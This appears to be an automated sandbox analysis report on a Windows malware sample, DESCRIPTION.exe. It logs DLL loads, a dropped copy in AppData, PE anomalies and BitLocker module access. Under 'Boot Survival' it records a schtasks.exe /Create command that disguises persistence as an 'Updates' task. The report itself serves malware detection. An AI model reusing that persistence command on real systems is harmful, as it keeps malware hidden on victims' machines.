                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: atl.dllJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: mscoree.dllJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: kernel.appcore.dllJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: version.dllJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: vcruntime140_clr0400.dllJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptsp.dllJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: rsaenh.dllJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptbase.dllJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.storage.dllJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: wldp.dllJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: msasn1.dllJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dllJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: userenv.dllJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: profapi.dllJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: gpapi.dllJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: msisip.dllJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: wshext.dllJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: appxsip.dllJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: opcservices.dllJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: secur32.dllJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: sspicli.dllJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: uxtheme.dllJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: urlmon.dllJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: iertutil.dllJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: srvcli.dllJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: netutils.dllJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: propsys.dllJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: wininet.dllJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: microsoft.management.infrastructure.native.unmanaged.dllJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: mi.dllJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: miutils.dllJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: wmidcom.dllJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: dpapi.dllJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: wbemcomn.dllJump to behavior
                      Source: C:\Windows\SysWOW64\schtasks.exeSection loaded: kernel.appcore.dllJump to behavior
                      Source: C:\Windows\SysWOW64\schtasks.exeSection loaded: taskschd.dllJump to behavior
                      Source: C:\Windows\SysWOW64\schtasks.exeSection loaded: sspicli.dllJump to behavior
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeSection loaded: msvbvm60.dllJump to behavior
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeSection loaded: vb6zz.dllJump to behavior
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeSection loaded: kernel.appcore.dllJump to behavior
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeSection loaded: uxtheme.dllJump to behavior
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeSection loaded: sxs.dllJump to behavior
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeSection loaded: wbemcomn.dllJump to behavior
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeSection loaded: amsi.dllJump to behavior
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeSection loaded: userenv.dllJump to behavior
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeSection loaded: profapi.dllJump to behavior
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeSection loaded: version.dllJump to behavior
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeSection loaded: scrrun.dllJump to behavior
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeSection loaded: ntmarta.dllJump to behavior
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeSection loaded: winsqlite3.dllJump to behavior
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeSection loaded: vbscript.dllJump to behavior
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeSection loaded: mpr.dllJump to behavior
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeSection loaded: wininet.dllJump to behavior
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeSection loaded: iertutil.dllJump to behavior
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeSection loaded: sspicli.dllJump to behavior
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeSection loaded: windows.storage.dllJump to behavior
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeSection loaded: wldp.dllJump to behavior
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeSection loaded: ondemandconnroutehelper.dllJump to behavior
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeSection loaded: winhttp.dllJump to behavior
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeSection loaded: iphlpapi.dllJump to behavior
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeSection loaded: mswsock.dllJump to behavior
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeSection loaded: winnsi.dllJump to behavior
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeSection loaded: urlmon.dllJump to behavior
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeSection loaded: srvcli.dllJump to behavior
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeSection loaded: netutils.dllJump to behavior
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeSection loaded: dnsapi.dllJump to behavior
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeSection loaded: rasadhlp.dllJump to behavior
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeSection loaded: fwpuclnt.dllJump to behavior
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeSection loaded: propsys.dllJump to behavior
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeSection loaded: apphelp.dllJump to behavior
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeSection loaded: zipfldr.dllJump to behavior
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeSection loaded: edputil.dllJump to behavior
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeSection loaded: dui70.dllJump to behavior
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeSection loaded: duser.dllJump to behavior
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeSection loaded: oleacc.dllJump to behavior
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeSection loaded: atlthunk.dllJump to behavior
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeSection loaded: textshaping.dllJump to behavior
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeSection loaded: explorerframe.dllJump to behavior
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeSection loaded: msxml3.dllJump to behavior
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeSection loaded: mlang.dllJump to behavior
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeSection loaded: schannel.dllJump to behavior
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeSection loaded: mskeyprotect.dllJump to behavior
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeSection loaded: ntasn1.dllJump to behavior
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeSection loaded: msasn1.dllJump to behavior
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeSection loaded: dpapi.dllJump to behavior
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeSection loaded: cryptsp.dllJump to behavior
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeSection loaded: rsaenh.dllJump to behavior
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeSection loaded: cryptbase.dllJump to behavior
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeSection loaded: gpapi.dllJump to behavior
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeSection loaded: ncrypt.dllJump to behavior
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeSection loaded: ncryptsslp.dllJump to behavior
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeSection loaded: msxml3.dllJump to behavior
                      Source: C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exeSection loaded: mscoree.dll
                      Source: C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exeSection loaded: apphelp.dll
                      Source: C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exeSection loaded: kernel.appcore.dll
                      Source: C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exeSection loaded: version.dll
                      Source: C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exeSection loaded: vcruntime140_clr0400.dll
                      Source: C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exeSection loaded: ucrtbase_clr0400.dll
                      Source: C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exeSection loaded: uxtheme.dll
                      Source: C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exeSection loaded: windows.storage.dll
                      Source: C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exeSection loaded: wldp.dll
                      Source: C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exeSection loaded: profapi.dll
                      Source: C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exeSection loaded: cryptsp.dll
                      Source: C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exeSection loaded: rsaenh.dll
                      Source: C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exeSection loaded: cryptbase.dll
                      Source: C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exeSection loaded: dwrite.dll
                      Source: C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exeSection loaded: windowscodecs.dll
                      Source: C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exeSection loaded: amsi.dll
                      Source: C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exeSection loaded: userenv.dll
                      Source: C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exeSection loaded: msasn1.dll
                      Source: C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exeSection loaded: gpapi.dll
                      Source: C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exeSection loaded: textshaping.dll
                      Source: C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exeSection loaded: propsys.dll
                      Source: C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exeSection loaded: edputil.dll
                      Source: C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exeSection loaded: urlmon.dll
                      Source: C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exeSection loaded: iertutil.dll
                      Source: C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exeSection loaded: srvcli.dll
                      Source: C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exeSection loaded: netutils.dll
                      Source: C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exeSection loaded: windows.staterepositoryps.dll
                      Source: C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exeSection loaded: sspicli.dll
                      Source: C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exeSection loaded: wintypes.dll
                      Source: C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exeSection loaded: appresolver.dll
                      Source: C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exeSection loaded: bcp47langs.dll
                      Source: C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exeSection loaded: slc.dll
                      Source: C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exeSection loaded: sppc.dll
                      Source: C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exeSection loaded: onecorecommonproxystub.dll
                      Source: C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exeSection loaded: onecoreuapcommonproxystub.dll
                      Source: C:\Windows\SysWOW64\schtasks.exeSection loaded: kernel.appcore.dll
                      Source: C:\Windows\SysWOW64\schtasks.exeSection loaded: taskschd.dll
                      Source: C:\Windows\SysWOW64\schtasks.exeSection loaded: sspicli.dll
                      Source: C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exeSection loaded: msvbvm60.dll
                      Source: C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exeSection loaded: vb6zz.dll
                      Source: C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exeSection loaded: kernel.appcore.dll
                      Source: C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exeSection loaded: uxtheme.dll
                      Source: C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exeSection loaded: sxs.dll
                      Source: C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exeSection loaded: wbemcomn.dll
                      Source: C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exeSection loaded: amsi.dll
                      Source: C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exeSection loaded: userenv.dll
                      Source: C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exeSection loaded: profapi.dll
                      Source: C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exeSection loaded: version.dll
                      Source: C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exeSection loaded: scrrun.dll
                      Source: C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exeSection loaded: ntmarta.dll
                      Source: C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exeSection loaded: winsqlite3.dll
                      Source: C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exeSection loaded: vbscript.dll
                      Source: C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exeSection loaded: mpr.dll
                      Source: C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exeSection loaded: wininet.dll
                      Source: C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exeSection loaded: iertutil.dll
                      Source: C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exeSection loaded: sspicli.dll
                      Source: C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exeSection loaded: windows.storage.dll
                      Source: C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exeSection loaded: wldp.dll
                      Source: C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exeSection loaded: ondemandconnroutehelper.dll
                      Source: C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exeSection loaded: winhttp.dll
                      Source: C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exeSection loaded: iphlpapi.dll
                      Source: C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exeSection loaded: mswsock.dll
                      Source: C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exeSection loaded: winnsi.dll
                      Source: C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exeSection loaded: urlmon.dll
                      Source: C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exeSection loaded: srvcli.dll
                      Source: C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exeSection loaded: netutils.dll
                      Source: C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exeSection loaded: dnsapi.dll
                      Source: C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exeSection loaded: rasadhlp.dll
                      Source: C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exeSection loaded: fwpuclnt.dll
                      Source: C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exeSection loaded: propsys.dll
                      Source: C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exeSection loaded: apphelp.dll
                      Source: C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exeSection loaded: zipfldr.dll
                      Source: C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exeSection loaded: edputil.dll
                      Source: C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exeSection loaded: duser.dll
                      Source: C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exeSection loaded: xmllite.dll
                      Source: C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exeSection loaded: atlthunk.dll
                      Source: C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exeSection loaded: textshaping.dll
                      Source: C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exeSection loaded: textinputframework.dll
                      Source: C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exeSection loaded: coreuicomponents.dll
                      Source: C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exeSection loaded: coremessaging.dll
                      Source: C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exeSection loaded: coremessaging.dll
                      Source: C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exeSection loaded: wintypes.dll
                      Source: C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exeSection loaded: wintypes.dll
                      Source: C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exeSection loaded: wintypes.dll
                      Source: C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exeSection loaded: msxml3.dll
                      Source: C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exeSection loaded: mlang.dll
                      Source: C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exeSection loaded: schannel.dll
                      Source: C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exeSection loaded: mskeyprotect.dll
                      Source: C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exeSection loaded: ntasn1.dll
                      Source: C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exeSection loaded: msasn1.dll
                      Source: C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exeSection loaded: dpapi.dll
                      Source: C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exeSection loaded: cryptsp.dll
                      Source: C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exeSection loaded: rsaenh.dll
                      Source: C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exeSection loaded: cryptbase.dll
                      Source: C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exeSection loaded: gpapi.dll
                      Source: C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exeSection loaded: ncrypt.dll
                      Source: C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exeSection loaded: ncryptsslp.dll
                      Source: C:\Windows\SysWOW64\wbem\WmiPrvSE.exeSection loaded: fastprox.dll
                      Source: C:\Windows\SysWOW64\wbem\WmiPrvSE.exeSection loaded: ncobjapi.dll
                      Source: C:\Windows\SysWOW64\wbem\WmiPrvSE.exeSection loaded: wbemcomn.dll
                      Source: C:\Windows\SysWOW64\wbem\WmiPrvSE.exeSection loaded: wbemcomn.dll
                      Source: C:\Windows\SysWOW64\wbem\WmiPrvSE.exeSection loaded: kernel.appcore.dll
                      Source: C:\Windows\SysWOW64\wbem\WmiPrvSE.exeSection loaded: amsi.dll
                      Source: C:\Windows\SysWOW64\wbem\WmiPrvSE.exeSection loaded: userenv.dll
                      Source: C:\Windows\SysWOW64\wbem\WmiPrvSE.exeSection loaded: profapi.dll
                      Source: C:\Windows\SysWOW64\wbem\WmiPrvSE.exeSection loaded: version.dll
                      Source: C:\Windows\SysWOW64\wbem\WmiPrvSE.exeSection loaded: sspicli.dll
                      Source: C:\Windows\SysWOW64\wbem\WmiPrvSE.exeSection loaded: ntmarta.dll
                      Source: C:\Windows\SysWOW64\wbem\WmiPrvSE.exeSection loaded: esscli.dll
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0EE7644B-1BAD-48B1-9889-0281C206EB85}\InprocServer32Jump to behavior
                      Source: Window RecorderWindow detected: More than 3 window changes detected
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeFile opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dllJump to behavior
                      Source: DESCRIPTION.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR
                      Source: DESCRIPTION.exeStatic PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
                      Source: DESCRIPTION.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
                      Source: Binary string: W.pdb4 source: DESCRIPTION.exe, 00000001.00000002.1501721613.0000000003CF2000.00000004.00000800.00020000.00000000.sdmp, OdoiXyuXnaQN.exe, 00000010.00000002.2715156422.0000000000442000.00000040.00000400.00020000.00000000.sdmp
                      Source: Binary string: joip.pdbSHA256 source: DESCRIPTION.exe, OdoiXyuXnaQN.exe.1.dr
                      Source: Binary string: joip.pdb source: DESCRIPTION.exe, OdoiXyuXnaQN.exe.1.dr
                      Source: DESCRIPTION.exeStatic PE information: 0xE2218AEF [Wed Mar 22 06:57:51 2090 UTC]
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeCode function: 1_2_04B7DF31 push es; ret 1_2_04B7DF40
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeCode function: 1_2_0699D573 push ecx; ret 1_2_0699D574
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeCode function: 1_2_06994260 push es; ret 1_2_06994270
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeCode function: 1_2_0699A260 pushad ; retf 1_2_0699A261
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeCode function: 1_2_0699B082 push eax; iretd 1_2_0699B089
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeCode function: 1_2_069CBE50 push eax; iretd 1_2_069CBE51
                      Source: C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exeCode function: 10_2_0561D573 push ecx; ret 10_2_0561D574
                      Source: C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exeCode function: 10_2_0561B082 push eax; iretd 10_2_0561B089
                      Source: C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exeCode function: 10_2_0561A260 pushad ; retf 10_2_0561A261
                      Source: C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exeCode function: 10_2_06F3BE50 push eax; iretd 10_2_06F3BE51
                      Source: C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exeCode function: 16_2_00404B3E push 00000013h; ret 16_2_00404B45
                      Source: DESCRIPTION.exeStatic PE information: section name: .text entropy: 7.749837441589309
                      Source: OdoiXyuXnaQN.exe.1.drStatic PE information: section name: .text entropy: 7.749837441589309
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeFile created: C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exeJump to dropped file

                      Boot Survival

                      barindex
                      Uses schtasks.exe or at.exe to add and modify task schedules
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeProcess created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\OdoiXyuXnaQN" /XML "C:\Users\user\AppData\Local\Temp\tmp9A10.tmp"

                      Hooking and other Techniques for Hiding and Protection

                      barindex
                      Loading BitLocker PowerShell Module
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1Jump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1Jump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1Jump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1Jump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1Jump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1Jump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1Jump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1Jump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1Jump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1Jump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1Jump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1Jump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1Jump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1Jump to behavior
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeRegistry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdateJump to behavior
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeRegistry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRootJump to behavior
                      Source: C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exeRegistry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate
                      Source: C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exeRegistry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
